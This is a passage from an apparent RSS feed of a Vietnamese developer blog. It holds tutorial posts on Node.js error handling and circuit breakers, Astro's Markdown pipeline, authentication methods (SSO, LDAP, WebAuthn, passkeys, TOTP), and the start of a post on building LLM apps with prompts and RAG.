  private lastFailureTime = 0;
  private state: &apos;closed&apos; | &apos;open&apos; | &apos;half-open&apos; = &apos;closed&apos;;

  constructor(
    private threshold: number = 5,
    private resetTimeout: number = 30000,
  ) {}

  async call&amp;#x3C;T&gt;(fn: () =&gt; Promise&amp;#x3C;T&gt;): Promise&amp;#x3C;T&gt; {
    if (this.state === &apos;open&apos;) {
      if (Date.now() - this.lastFailureTime &gt; this.resetTimeout) {
        this.state = &apos;half-open&apos;;
      } else {
        throw new Error(&apos;Circuit breaker is open&apos;);
      }
    }

    try {
      const result = await fn();
      this.failures = 0;
      this.state = &apos;closed&apos;;
      return result;
    } catch (err) {
      this.failures++;
      this.lastFailureTime = Date.now();
      if (this.failures &gt;= this.threshold) {
        this.state = &apos;open&apos;;
      }
      throw err;
    }
  }
}

// Usage
const breaker = new CircuitBreaker(5, 30000);
app.get(&apos;/api/external&apos;, async (req, res) =&gt; {
  try {
    const data = await breaker.call(() =&gt; externalService.fetch());
    res.json(data);
  } catch {
    res.status(503).json({ error: &apos;Service temporarily unavailable&apos; });
  }
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Graceful Degradation&lt;/h2&gt;
&lt;p&gt;Khi service phụ thuộc fail — app vẫn hoạt động (có thể giảm chức năng):&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;async function getUserProfile(userId: number) {
  const user = await db.user.findUnique({ where: { id: userId } });
  if (!user) throw new NotFoundError(&apos;User&apos;, userId);

  // Recommendations là không critical
  let recommendations: Recommendation[] = [];
  try {
    recommendations = await recommendationService.get(userId);
  } catch (err) {
    logger.warn({ err }, &apos;Recommendation service unavailable&apos;);
    // Degrade gracefully — empty recommendations
  }

  return { ...user, recommendations };
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Logging Errors&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Cấu trúc log chuẩn
logger.error({
  err,                      // Error object
  requestId: req.id,
  userId: req.user?.id,
  path: req.path,
  method: req.method,
  duration: Date.now() - start,
  // Không log: password, token, secret
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Monitoring — Error Tracking&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Error tracking (Sentry, Datadog, etc.)
import * as Sentry from &apos;@sentry/node&apos;;

Sentry.init({ dsn: process.env.SENTRY_DSN });

app.use(Sentry.Handlers.requestHandler());
app.use(Sentry.Handlers.errorHandler());

// Capture manually
try {
  await processPayment();
} catch (err) {
  Sentry.captureException(err, {
    tags: { feature: &apos;payment&apos; },
    extra: { orderId, amount },
  });
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Checklist&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;[ ] Custom error classes (AppError → NotFoundError, ValidationError...)&lt;/li&gt;
&lt;li&gt;[ ] Global error handler (không try/catch mỗi route)&lt;/li&gt;
&lt;li&gt;[ ] Retry với exponential backoff + jitter&lt;/li&gt;
&lt;li&gt;[ ] Circuit breaker cho external dependencies&lt;/li&gt;
&lt;li&gt;[ ] Graceful degradation khi service phụ fail&lt;/li&gt;
&lt;li&gt;[ ] Structured error log (không console.error)&lt;/li&gt;
&lt;li&gt;[ ] Error tracking (Sentry, Datadog)&lt;/li&gt;
&lt;li&gt;[ ] Không leak internal error detail ra response&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Error handling là tính năng — không phì phụ. Result pattern cho type safety. Custom errors cho dễ debug. Retry + circuit breaker cho resilience. Graceful degradation cho user experience. Đầu tư vào error handling ngay từ đầu — không phải sau khi production crash.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://nodejs.org/en/learn/getting-started/error-handling&quot;&gt;Node.js Error Handling Best Practices&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://expressjs.com/en/guide/error-handling.html&quot;&gt;Express Error Handling&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.sentry.io/&quot;&gt;Sentry — Error Tracking&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://martinfowler.com/bliki/CircuitBreaker.html&quot;&gt;Circuit Breaker Pattern — Martin Fowler&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://aws.amazon.com/blogs/architecture/exponential-backoff-and-jitter/&quot;&gt;Exponential Backoff — AWS Architecture&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>@astrojs/markdown-remark — Xử Lý Markdown Trong Astro</title><link>https://dopana-blog.pages.dev/blog/kham-pha-astrojs-markdown-remark-trai-tim-xu-ly-markdown-trong-astro</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/kham-pha-astrojs-markdown-remark-trai-tim-xu-ly-markdown-trong-astro</guid><description>Tìm hiểu @astrojs/markdown-remark — gói xử lý Markdown cốt lõi của Astro, cách nó hoạt động và cách tùy biến pipeline với Remark/Rehype plugins.</description><pubDate>Sun, 26 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Nếu bạn từng xây dựng blog, trang tài liệu (documentation), hoặc portfolio bằng Astro, chắc chắn bạn đã biết framework này hỗ trợ tệp &lt;code&gt;.md&lt;/code&gt; tốt đến mức nào. Nhưng bạn có bao giờ tự hỏi điều gì diễn ra phía sau hậu trường khi Astro biến những dòng mã Markdown thô kệch thành các trang HTML tĩnh đẹp mắt và tối ưu SEO?&lt;/p&gt;
&lt;p&gt;Câu trả lời chính là &lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; — gói thư viện cốt lõi (core package) vận hành toàn bộ hệ thống xử lý nội dung của Astro.&lt;/p&gt;
&lt;p&gt;Trong bài viết này, chúng ta sẽ cùng mổ xẻ xem &lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; là gì, cách nó hoạt động và làm thế nào để làm chủ sức mạnh của nó nhằm tùy biến website theo ý muốn.&lt;/p&gt;
&lt;h2&gt;1. @astrojs/markdown-remark Là Gì?&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; là một package nội bộ được tích hợp sẵn trong Astro. Nhiệm vụ duy nhất nhưng tối quan trọng của nó là: Phân tích cú pháp (parse), biến đổi và biên dịch các tệp Markdown thành mã HTML.&lt;/p&gt;
&lt;p&gt;Thay vì tự xây dựng một trình biên dịch từ đầu, Astro đứng trên vai những người khổng lồ. Gói này tích hợp hệ sinh thái Unified, cụ thể là:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Remark: Trình biên dịch để chuyển đổi nội dung Markdown thành cấu trúc cây cú pháp trừu tượng (MDast — Markdown Abstract Syntax Tree).&lt;/li&gt;
&lt;li&gt;Rehype: Trình biên dịch làm việc với HTML (HAST — HTML Abstract Syntax Tree) để tối ưu hóa và xuất ra mã HTML cuối cùng.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Khi bạn chạy lệnh &lt;code&gt;bun run build&lt;/code&gt; hoặc sử dụng Content Collections, Astro sẽ âm thầm gọi &lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; để xử lý các tệp nội dung của bạn.&lt;/p&gt;
&lt;h2&gt;2. Các Tính Năng Cốt Lõi Vận Hành Website Của Bạn&lt;/h2&gt;
&lt;p&gt;Mặc dù hoạt động ngầm, gói thư viện này cung cấp những tính năng nền tảng mà bạn sử dụng hàng ngày:&lt;/p&gt;
&lt;h3&gt;Trích xuất Frontmatter (Metadata)&lt;/h3&gt;
&lt;p&gt;Mỗi bài viết Markdown thường bắt đầu bằng đoạn mã YAML như:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-yaml&quot;&gt;---
title: &apos;Bài viết đầu tiên&apos;
pubDate: 2026-07-26
author: &apos;Astro Developer&apos;
---
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; chịu trách nhiệm bóc tách phần này, chuyển nó thành một object JavaScript để bạn dễ dàng truyền vào Layout hoặc các component của Astro dưới dạng &lt;code&gt;{frontmatter}&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Tích hợp sẵn Shiki và Prism để Highlight Code&lt;/h3&gt;
&lt;p&gt;Bạn có bao giờ thắc mắc tại sao các khối mã (code block) trong bài viết của bạn lại tự động có màu sắc bắt mắt? Gói thư viện này tích hợp sẵn Shiki (mặc định) và Prism, cho phép tự động phân tích cú pháp (syntax highlighting) cho hàng trăm ngôn ngữ lập trình ngay từ lúc build.&lt;/p&gt;
&lt;h3&gt;Tự động tạo ID cho Tiêu đề (Headings)&lt;/h3&gt;
&lt;p&gt;Mọi thẻ &lt;code&gt;## Tiêu đề&lt;/code&gt; trong bài viết của bạn sẽ được tự động chuyển thành &lt;code&gt;&amp;#x3C;h2 id=&quot;tieu-de&quot;&gt;Tiêu đề&amp;#x3C;/h2&gt;&lt;/code&gt;. Điều này giúp bạn dễ dàng tạo các liên kết neo (anchor links) trỏ thẳng đến từng phần của bài viết.&lt;/p&gt;
&lt;h2&gt;3. Cách Tự Cấu Hình và Mở Rộng Sức Mạnh&lt;/h2&gt;
&lt;p&gt;Điểm tuyệt vời nhất của &lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; là tính mở rộng thông qua hệ sinh thái plugin khổng lồ của Remark và Rehype. Bạn không cần cài đặt trực tiếp gói này vì Astro đã bọc sẵn cấu hình thông qua tệp &lt;code&gt;astro.config.mjs&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Dưới đây là cách bạn có thể can thiệp vào pipeline xử lý để thêm các tính năng nâng cao:&lt;/p&gt;
&lt;h3&gt;Ví dụ 1: Thêm plugin tự động tạo mục lục (Table of Contents)&lt;/h3&gt;
&lt;p&gt;Nếu bạn muốn bài viết tự động sinh ra mục lục từ các thẻ H2, H3, bạn có thể cài đặt plugin &lt;code&gt;remark-toc&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-shell&quot;&gt;bun add remark-toc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sau đó cấu hình trong &lt;code&gt;astro.config.mjs&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { defineConfig } from &apos;astro/config&apos;;
import remarkToc from &apos;remark-toc&apos;;

export default defineConfig({
  markdown: {
    // Tích hợp trực tiếp vào pipeline của @astrojs/markdown-remark
    remarkPlugins: [
      [remarkToc, { heading: &apos;Mục lục&apos; }] // Tự động chèn TOC dưới tiêu đề &quot;Mục lục&quot;
    ],
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Ví dụ 2: Tự viết tính năng &quot;Thời gian đọc bài&quot; (Reading Time)&lt;/h3&gt;
&lt;p&gt;Bạn cũng có thể tận dụng API của &lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; để can thiệp vào thuộc tính frontmatter của tệp khi đang build.&lt;/p&gt;
&lt;p&gt;Hãy tạo một plugin nhỏ để tính số chữ và suy ra thời gian đọc:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-js&quot;&gt;import { defineConfig } from &apos;astro/config&apos;;
import getReadingTime from &apos;reading-time&apos;; // bun add reading-time
import { toString } from &apos;mdast-util-to-string&apos;;

// Plugin tùy chỉnh dựa trên kiến trúc remark của Astro
function remarkReadingTime() {
  return function (tree, { file }) {
    const textOnPage = toString(tree);
    const readingTime = getReadingTime(textOnPage);
    // Ghi đè hoặc thêm dữ liệu vào frontmatter
    file.data.astro.frontmatter.readingTime = readingTime.text;
  };
}

export default defineConfig({
  markdown: {
    remarkPlugins: [remarkReadingTime],
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Bây giờ, trong trang Layout bài viết của Astro, bạn đã có thể truy cập thuộc tính này một cách mượt mà:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-astro&quot;&gt;---
const { frontmatter } = Astro.props;
---
&amp;#x3C;p&gt;Thời gian đọc: {frontmatter.readingTime}&amp;#x3C;/p&gt;
&amp;#x3C;h1&gt;{frontmatter.title}&amp;#x3C;/h1&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;@astrojs/markdown-remark&lt;/code&gt; không chỉ là một công cụ chuyển đổi định dạng đơn thuần, mà là một Content Pipeline cực kỳ mạnh mẽ. Nhờ vào kiến trúc mở dựa trên nền tảng Unified, nó mang lại cho nhà phát triển quyền kiểm soát tuyệt đối đối với cách nội dung văn bản được hiển thị, tối ưu hóa hiệu năng tải trang (zero-JS mặc định) và mở ra không gian sáng tạo vô hạn với các plugin.&lt;/p&gt;
&lt;p&gt;Hy vọng bài viết này giúp bạn hiểu rõ hơn về &quot;vị anh hùng thầm lặng&quot; này trong hệ sinh thái Astro!&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.astro.build/en/guides/markdown-content/&quot;&gt;Astro Documentation — Markdown&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.npmjs.com/package/@astrojs/markdown-remark&quot;&gt;@astrojs/markdown-remark&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://unifiedjs.com&quot;&gt;Unified Ecosystem&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/remarkjs/remark&quot;&gt;Remark Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/rehypejs/rehype&quot;&gt;Rehype Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://shiki.style&quot;&gt;Shiki Syntax Highlighting&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>Authentication — SSO, LDAP, WebAuthn, Passkeys</title><link>https://dopana-blog.pages.dev/blog/authentication-methods</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/authentication-methods</guid><description>Các phương thức xác thực hiện đại: Single Sign-On, LDAP, WebAuthn, Passkeys — so sánh và triển khai.</description><pubDate>Sat, 25 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Xác thực (authentication) đã phát triển xa hơn username + password. Bài này khám phá các phương thức hiện đại.&lt;/p&gt;
&lt;h2&gt;Password — Tại Sao Không Đủ?&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;81% data breach dùng password yếu hoặc bị đánh cắp&lt;/li&gt;
&lt;li&gt;User dùng lại password giữa các site&lt;/li&gt;
&lt;li&gt;Mỗi site yêu cầu password khác → user quên&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;SSO — Single Sign-On&lt;/h2&gt;
&lt;p&gt;Đăng nhập 1 lần, dùng được nhiều app:&lt;/p&gt;
&lt;h3&gt;SAML (Security Assertion Markup Language)&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;User → App (Service Provider) → Redirect → IdP (Identity Provider)
                                              ↓
                                           Login
                                              ↓
                                    SAML Response → App → Login thành công
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-xml&quot;&gt;&amp;#x3C;!-- SAML Response (XML) --&gt;
&amp;#x3C;saml:Assertion&gt;
  &amp;#x3C;saml:Subject&gt;
    &amp;#x3C;saml:NameID&gt;user@company.com&amp;#x3C;/saml:NameID&gt;
  &amp;#x3C;/saml:Subject&gt;
  &amp;#x3C;saml:Attribute Name=&quot;email&quot;&gt;user@company.com&amp;#x3C;/saml:Attribute&gt;
  &amp;#x3C;saml:Attribute Name=&quot;role&quot;&gt;admin&amp;#x3C;/saml:Attribute&gt;
&amp;#x3C;/saml:Assertion&gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Dùng trong doanh nghiệp — Okta, Azure AD, Google Workspace.&lt;/p&gt;
&lt;h3&gt;OAuth2 + OIDC&lt;/h3&gt;
&lt;p&gt;OAuth2 cho authorization, OIDC (OpenID Connect) thêm authentication layer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User → App → Redirect → Authorization Server → Login → ID Token (JWT) → App
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Xác thực xong — nhận ID Token
const idToken = jwt.verify(token, jwksUri);
// {
//   &quot;sub&quot;: &quot;google-oauth2|123456&quot;,
//   &quot;email&quot;: &quot;alice@example.com&quot;,
//   &quot;name&quot;: &quot;Alice&quot;,
//   &quot;iss&quot;: &quot;https://accounts.google.com&quot;
// }
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;LDAP — Centralized Directory&lt;/h2&gt;
&lt;p&gt;LDAP (Lightweight Directory Access Protocol) lưu user, group, permission tập trung:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;dc=example,dc=com
├── ou=people
│   ├── uid=alice
│   │   ├── cn: Alice
│   │   ├── mail: alice@example.com
│   │   └── memberOf: cn=engineers,ou=groups
│   └── uid=bob
└── ou=groups
    ├── cn=engineers
    └── cn=admins
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import ldap from &apos;ldapjs&apos;;

const client = ldap.createClient({ url: &apos;ldap://localhost:389&apos; });

// Bind (authenticate)
client.bind(&apos;cn=admin,dc=example,dc=com&apos;, &apos;password&apos;, (err) =&gt; {
  if (err) return console.error(&apos;Bind failed&apos;);
});

// Search
const opts = {
  filter: &apos;(&amp;#x26;(objectClass=person)(uid=alice))&apos;,
  scope: &apos;sub&apos;,
  attributes: [&apos;cn&apos;, &apos;mail&apos;, &apos;memberOf&apos;],
};

client.search(&apos;ou=people,dc=example,dc=com&apos;, opts, (err, res) =&gt; {
  res.on(&apos;searchEntry&apos;, (entry) =&gt; {
    console.log(entry.object);
  });
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;WebAuthn — Passwordless Authentication&lt;/h2&gt;
&lt;p&gt;WebAuthn dùng public-key cryptography — không password, không OTP.&lt;/p&gt;
&lt;h3&gt;Flow&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-text&quot;&gt;1. Register: Browser → Tạo keypair → Gửi public key → Server lưu
2. Login:   Server gửi challenge → Browser sign bằng private key → Server verify
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Register&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Client
const credential = await navigator.credentials.create({
  publicKey: {
    challenge: new Uint8Array(challenge),
    rp: { name: &apos;My App&apos;, id: &apos;example.com&apos; },
    user: {
      id: new Uint8Array(userId),
      name: &apos;alice@example.com&apos;,
      displayName: &apos;Alice&apos;,
    },
    pubKeyCredParams: [{ alg: -7, type: &apos;public-key&apos; }], // ES256
  },
});

// Gửi credential lên server
await fetch(&apos;/auth/webauthn/register&apos;, {
  method: &apos;POST&apos;,
  body: JSON.stringify({
    id: credential.id,
    publicKey: arrayBufferToBase64(credential.response.getPublicKey()),
  }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Login&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// Client — nhận challenge từ server
const assertion = await navigator.credentials.get({
  publicKey: {
    challenge: new Uint8Array(challenge),
    allowCredentials: credentials.map(c =&gt; ({
      id: base64ToArrayBuffer(c.id),
      type: &apos;public-key&apos;,
    })),
  },
});

await fetch(&apos;/auth/webauthn/login&apos;, {
  method: &apos;POST&apos;,
  body: JSON.stringify({
    id: assertion.id,
    signature: arrayBufferToBase64(assertion.response.signature),
    authenticatorData: arrayBufferToBase64(assertion.response.authenticatorData),
  }),
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Passkeys — WebAuthn Cho Người Dùng&lt;/h2&gt;
&lt;p&gt;Passkeys là WebAuthn + credential sync (iCloud Keychain, Google Password Manager):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;User → &quot;Sign in with Face ID / Touch ID&quot;
        ↓
  Device tạo keypair
  Public key → Server
  Private key → Sync qua iCloud/Google
        ↓
  Đăng nhập ở thiết bị khác — dùng passkey từ cloud
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Passkeys đang được Apple, Google, Microsoft đẩy mạnh — thay thế password trong tương lai.&lt;/p&gt;
&lt;h2&gt;So Sánh&lt;/h2&gt;
&lt;p&gt;| Phương thức | Bảo mật | UX | Triển khai |
|---|---|---|---|
| Password | Thấp | Kém | Dễ |
| OAuth2/OIDC | Cao | Tốt (SSO) | Trung bình |
| SAML | Cao | Tốt (SSO) | Phức tạp |
| LDAP | Trung bình | Trung bình | Trung bình |
| WebAuthn | Rất cao | Xuất sắc | Phức tạp |
| Passkeys | Rất cao | Xuất sắc | Trung bình |&lt;/p&gt;
&lt;h2&gt;Multi-Factor Authentication (MFA)&lt;/h2&gt;
&lt;p&gt;Kết hợp nhiều yếu tố:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Something you know — password&lt;/li&gt;
&lt;li&gt;Something you have — phone, hardware key (YubiKey)&lt;/li&gt;
&lt;li&gt;Something you are — fingerprint, face&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// TOTP — Time-based One-Time Password
import { authenticator } from &apos;otplib&apos;;

// Tạo secret
const secret = authenticator.generateSecret();
const otpauth = authenticator.keyuri(user.email, &apos;MyApp&apos;, secret);
// User scan QR code với Google Authenticator

// Verify
const isValid = authenticator.check(token, secret);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Implementation — Auth với NextAuth.js&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// auth.ts
import NextAuth from &apos;next-auth&apos;;
import Google from &apos;next-auth/providers/google&apos;;
import Credentials from &apos;next-auth/providers/credentials&apos;;

export const { handlers, signIn, signOut, auth } = NextAuth({
  providers: [
    Google,
    Credentials({
      credentials: { email: {}, password: {} },
      async authorize(credentials) {
        const user = await db.user.findUnique({
          where: { email: credentials.email as string },
        });
        if (!user || !bcrypt.compareSync(credentials.password as string, user.password)) {
          return null;
        }
        return { id: user.id.toString(), name: user.name, email: user.email };
      },
    }),
  ],
  callbacks: {
    async session({ session, token }) {
      session.user.id = token.sub!;
      return session;
    },
  },
});
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Kết Luận&lt;/h2&gt;
&lt;p&gt;Password đang chết dần. SSO + MFA là chuẩn hiện tại. WebAuthn/Passkeys là tương lai.&lt;/p&gt;
&lt;p&gt;Cho ứng dụng mới: bắt đầu với OAuth2/OIDC (Google, GitHub login) + optional password. Thêm WebAuthn cho nâng cao. Cho enterprise: SAML + LDAP + MFA.&lt;/p&gt;
&lt;h2&gt;Tài liệu tham khảo&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://datatracker.ietf.org/doc/html/rfc6749&quot;&gt;OAuth 2.0 Authorization Framework — RFC 6749&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://openid.net/developers/how-connect-works/&quot;&gt;OpenID Connect Specification&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3.org/TR/webauthn-3/&quot;&gt;WebAuthn Specification — W3C&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.openldap.org/doc/&quot;&gt;LDAP Documentation (OpenLDAP)&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fidoalliance.org/passkeys/&quot;&gt;Passkeys — Apple, Google, Microsoft&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://next-auth.js.org/&quot;&gt;NextAuth.js Documentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://github.com/yeojz/otplib&quot;&gt;OTPLib — TOTP Library&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded><h:img src="undefined"/><enclosure url="undefined"/></item><item><title>LLM Engineering — Prompt, RAG, Fine-tuning Cho AI App</title><link>https://dopana-blog.pages.dev/blog/llm-engineering</link><guid isPermaLink="true">https://dopana-blog.pages.dev/blog/llm-engineering</guid><description>Kỹ thuật xây dựng ứng dụng với LLM: prompt engineering, RAG, fine-tuning, evaluation và production deployment.</description><pubDate>Fri, 24 Jul 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;LLM Engineering là kỹ năng xây dựng ứng dụng trên nền tảng mô hình ngôn ngữ lớn. Không chỉ gọi API — mà là thiết kế hệ thống AI đáng tin cậy.&lt;/p&gt;
&lt;h2&gt;Kiến Trúc Ứng Dụng LLM&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;User → Orchestrator → LLM API
                        ↓
                  Tools / RAG / Memory
                        ↓
                    Response
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Prompt Engineering&lt;/h2&gt;
&lt;h3&gt;System Prompt&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;const SYSTEM_PROMPT = `Bạn là senior developer hỗ trợ viết code.
Luôn tuân theo:
1. TypeScript, strict mode
2. Không dùng &apos;any&apos;
3. Unit test kèm theo
4. Giải thích ngắn gọn quyết định`;

async function chat(userMessage: string) {
  const response = await openai.chat.completions.create({
    model: &apos;gpt-4o&apos;,
    messages: [
      { role: &apos;system&apos;, content: SYSTEM_PROMPT },
      { role: &apos;user&apos;, content: userMessage },
    ],
  });
  return response.choices[0].message.content;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Structured Output&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { z } from &apos;zod&apos;;

const ReviewSchema = z.object({
  summary: z.string(),
  bugs: z.array(z.object({
    file: z.string(),
    line: z.number(),
    severity: z.enum([&apos;low&apos;, &apos;medium&apos;, &apos;high&apos;]),
    description: z.string(),
  })),
  score: z.number().min(1).max(10),
});

async function reviewCode(code: string) {
  const response = await openai.chat.completions.create({
    model: &apos;gpt-4o&apos;,
    messages: [
      { role: &apos;system&apos;, content: &apos;Review code và trả về JSON.&apos; },
      { role: &apos;user&apos;, content: code },
    ],
    response_format: { type: &apos;json_object&apos; },
  });

  return ReviewSchema.parse(JSON.parse(response.choices[0].message.content));
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;RAG — Retrieval-Augmented Generation&lt;/h2&gt;
&lt;p&gt;Kết hợp knowledge base với LLM — giải quyết hallucination, cập nhật kiến thức không cần retrain.&lt;/p&gt;
&lt;h3&gt;Flow&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;User Query → Embedding → Vector DB Search → Top-K Chunks → LLM → Answer
                                                                    ↓
                                                              Với context
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Implementation&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;import { OpenAIEmbeddings } from &apos;@langchain/openai&apos;;
import { PineconeStore } from &apos;@langchain/pinecone&apos;;
import { Pinecone } from &apos;@pinecone-database/pinecone&apos;;

// 1. Index documents
async function indexDocuments(docs: string[]) {
  const embeddings = new OpenAIEmbeddings();
  const pc = new Pinecone({ apiKey: process.env.PINECONE_API_KEY! });
  const index = pc.Index(&apos;my-docs&apos;);

  for (const doc of docs) {
    const vector = await embeddings.embedQuery(doc);
    await index.upsert([{ id: crypto.randomUUID(), values: vector, metadata: { text: doc } }]);
  }
}

// 2. Query với RAG
async function queryWithRAG(question: string) {
  const embeddings = new OpenAIEmbeddings();
  const pc = new Pinecone({ apiKey: process.env.PINECONE_API_KEY! });
  const index = pc.Index(&apos;my-docs&apos;);

  // Search
  const queryVector = await embeddings.embedQuery(question);
  const results = await index.query({ vector: queryVector, topK: 5 });
  const context = results.matches.map(m =&gt; m.metadata?.text).join(&apos;\n&apos;);

  // Generate
  const response = await openai.chat.completions.create({
    model: &apos;gpt-4o&apos;,
    messages: [
      { role: &apos;system&apos;, content: &apos;Answer based on context provided.&apos; },
      { role: &apos;user&apos;, content: `Context:\n${context}\n\nQuestion: ${question}` },
    ],
  });

  return response.choices[0].message.content;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Chunking Strategy&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-typescript&quot;&gt;// RecursiveCharacterTextSplitter
import { RecursiveCharacterTextSplitter } from &apos;langchain/text_splitter&apos;;

const splitter = new RecursiveCharacterTextSplitter({
  chunkSize: 1000,
  chunkOverlap: 200,
  separators: [&apos;\n## &apos;, &apos;\n### &apos;, &apos;\n\n&apos;, &apos;\n&apos;, &apos;. &apos;, &apos; &apos;],
});

const chunks = await splitter.createDocuments([document]);
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Fine-tuning — Huấn Luyện Riêng&lt;/h2&gt;
&lt;p&gt;Khi RAG không đủ — cần huấn luyện model trên dữ liệu riêng.&lt;/p&gt;
&lt;h3&gt;Khi Nào Cần Fine-tune?&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Style/Tone — model cần nói theo giọng riêng&lt;/li&gt;
&lt;li&gt;Domain knowledge — codebase, thuật ngữ nội bộ&lt;/li&gt;
